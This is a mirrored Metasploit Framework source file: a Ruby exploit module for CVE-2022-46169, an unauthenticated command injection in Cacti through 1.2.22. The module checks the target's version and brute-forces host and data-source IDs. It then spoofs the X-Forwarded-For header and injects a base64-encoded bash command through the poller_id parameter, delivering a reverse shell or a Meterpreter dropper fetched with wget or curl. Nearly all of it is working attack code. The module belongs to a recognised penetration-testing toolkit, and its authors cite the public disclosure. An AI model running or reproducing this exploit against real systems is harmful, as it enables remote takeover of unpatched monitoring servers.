Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb
36831 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cacti 1.2.22 unauthenticated command injection',
18
'Description' => %q{
19
This module exploits an unauthenticated command injection
20
vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in
21
order to achieve unauthenticated remote code execution as the
22
www-data user.
23
24
The module first attempts to obtain the Cacti version to see
25
if the target is affected. If LOCAL_DATA_ID and/or HOST_ID
26
are not set, the module will try to bruteforce the missing
27
value(s). If a valid combination is found, the module will
28
use these to attempt exploitation. If LOCAL_DATA_ID and/or
29
HOST_ID are both set, the module will immediately attempt
30
exploitation.
31
32
During exploitation, the module sends a GET request to
33
/remote_agent.php with the action parameter set to polldata
34
and the X-Forwarded-For header set to the provided value for
35
X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the
36
poller_id parameter is set to the payload and the host_id
37
and local_data_id parameters are set to the bruteforced or
38
provided values. If X_FORWARDED_FOR_IP is set to an address
39
that is resolvable to a hostname in the poller table, and the
40
local_data_id and host_id values are vulnerable, the payload
41
set for poller_id will be executed by the target.
42
43
This module has been successfully tested against Cacti
44
version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)
45
},
46
'License' => MSF_LICENSE,
47
'Author' => [
48
'Stefan Schiller', # discovery (independent of Steven Seeley)
49
'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)
50
'Owen Gong', # @phithon_xg - vulhub PoC
51
'Erik Wynter' # @wyntererik - Metasploit
52
],
53
'References' => [
54
['CVE', '2022-46169'],
55
['GHSA', '6p93-p743-35gf', 'Cacti/cacti'], # disclosure and technical details
56
['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC
57
['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller
58
],
59
'DefaultOptions' => {
60
'RPORT' => 8080
61
},
62
'Targets' => [
63
[
64
'Automatic (Unix In-Memory)',
65
{
66
'Platform' => 'unix',
67
'Arch' => ARCH_CMD,
68
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
69
'Type' => :unix_memory
70
}
71
],
72
[
73
'Automatic (Linux Dropper)',
74
{
75
'Platform' => 'linux',
76
'Arch' => [ARCH_X86, ARCH_X64],
77
'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],
78
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
79
'Type' => :linux_dropper
80
}
81
]
82
],
83
'Privileged' => false,
84
'DisclosureDate' => '2022-12-05',
85
'DefaultTarget' => 1,
86
'Notes' => {
87
'Stability' => [ CRASH_SAFE ],
88
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
89
'Reliability' => [ REPEATABLE_SESSION ]
90
}
91
)
92
)
93
94
register_options([
95
OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),
96
OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),
97
OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),
98
OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])
99
])
100
101
register_advanced_options([
102
OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),
103
OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),
104
OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),
105
OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])
106
])
107
end
108
109
def check
110
# sanity check to see if the target is likely Cacti
111
res = send_request_cgi({
112
'method' => 'GET',
113
'uri' => normalize_uri(target_uri.path)
114
})
115
116
unless res
117
return CheckCode::Unknown('Connection failed.')
118
end
119
120
unless res.code == 200 && res.body.include?('<title>Login to Cacti')
121
return CheckCode::Safe('Target is not a Cacti application.')
122
end
123
124
# get the version
125
version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first
126
if version.blank?
127
return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')
128
end
129
130
begin
131
if Rex::Version.new(version) <= Rex::Version.new('1.2.22')
132
return CheckCode::Appears("The target is Cacti version #{version}")
133
else
134
return CheckCode::Safe("The target is Cacti version #{version}")
135
end
136
rescue StandardError => e
137
return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")
138
end
139
end
140
141
def exploitable_rrd_names
142
[
143
'apache_total_kbytes',
144
'apache_total_hits',
145
'apache_total_hits',
146
'apache_total_kbytes',
147
'apache_cpuload',
148
'boost_avg_size',
149
'boost_peak_memory',
150
'boost_records',
151
'boost_table',
152
'ExportDuration',
153
'ExportGraphs',
154
'syslogRuntime',
155
'tholdRuntime',
156
'polling_time',
157
'uptime',
158
]
159
end
160
161
def brute_force_ids
162
# perform a sanity check first
163
if @host_id
164
host_ids = [@host_id]
165
else
166
if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']
167
fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')
168
end
169
host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a
170
end
171
172
if @local_data_id
173
local_data_ids = [@local_data_ids]
174
else
175
if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']
176
fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')
177
end
178
local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a
179
end
180
181
# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id
182
max_attempts = host_ids.length * local_data_ids.length
183
if max_attempts > 1000
184
fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')
185
end
186
187
potential_targets = []
188
request_ct = 0
189
190
print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")
191
host_ids.each do |h_id|
192
print_status("Enumerating local_data_id values for host_id #{h_id}")
193
local_data_ids.each do |ld_id|
194
request_ct += 1
195
print_status("Performing request #{request_ct}...") if request_ct % 25 == 0
196
197
res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))
198
unless res
199
print_error('No response received. Aborting bruteforce')
200
return nil
201
end
202
203
unless res.code == 200
204
print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")
205
return nil
206
end
207
208
begin
209
parsed_response = JSON.parse(res.body)
210
rescue JSON::ParserError
211
print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")
212
return nil
213
end
214
215
unless parsed_response.is_a?(Array)
216
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
217
return nil
218
end
219
220
# the array can be empty, which is not an error but just means the local_data_id is not exploitable
221
next if parsed_response.empty?
222
223
first_item = parsed_response.first
224
unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }
225
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
226
return nil
227
end
228
229
# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array
230
# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it
231
# in addition, some data source types have an empty rrd_name but are still exploitable
232
# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it
233
# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end
234
# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options
235
rrd_name = first_item['rrd_name']
236
if rrd_name.empty?
237
potential_targets << [h_id, ld_id]
238
elsif exploitable_rrd_names.include?(rrd_name)
239
print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")
240
return [h_id, ld_id]
241
else
242
next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on
243
end
244
end
245
end
246
247
return nil if potential_targets.empty?
248
249
# inform the user about potential targets
250
print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")
251
potential_targets.each do |h_id, ld_id|
252
print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")
253
end
254
print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')
255
nil
256
end
257
258
def execute_command(cmd, _opts = {})
259
# use base64 encoding to get around special char limitations
260
cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"
261
send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)
262
end
263
264
def exploit
265
@host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?
266
@local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?
267
268
unless @host_id && @local_data_id
269
brute_force_result = brute_force_ids
270
unless brute_force_result
271
fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')
272
end
273
@host_id, @local_data_id = brute_force_result
274
end
275
276
if target.arch.first == ARCH_CMD
277
print_status('Executing the payload. This may take a few seconds...')
278
execute_command(payload.encoded)
279
else
280
execute_cmdstager(background: true)
281
end
282
end
283
284
def remote_agent_request(ld_id, h_id, poller_id)
285
{
286
'method' => 'GET',
287
'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),
288
'headers' => {
289
'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']
290
},
291
'vars_get' => {
292
'action' => 'polldata',
293
'local_data_ids[0]' => ld_id,
294
'host_id' => h_id,
295
'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload
296
}
297
}
298
end
299
end
300
301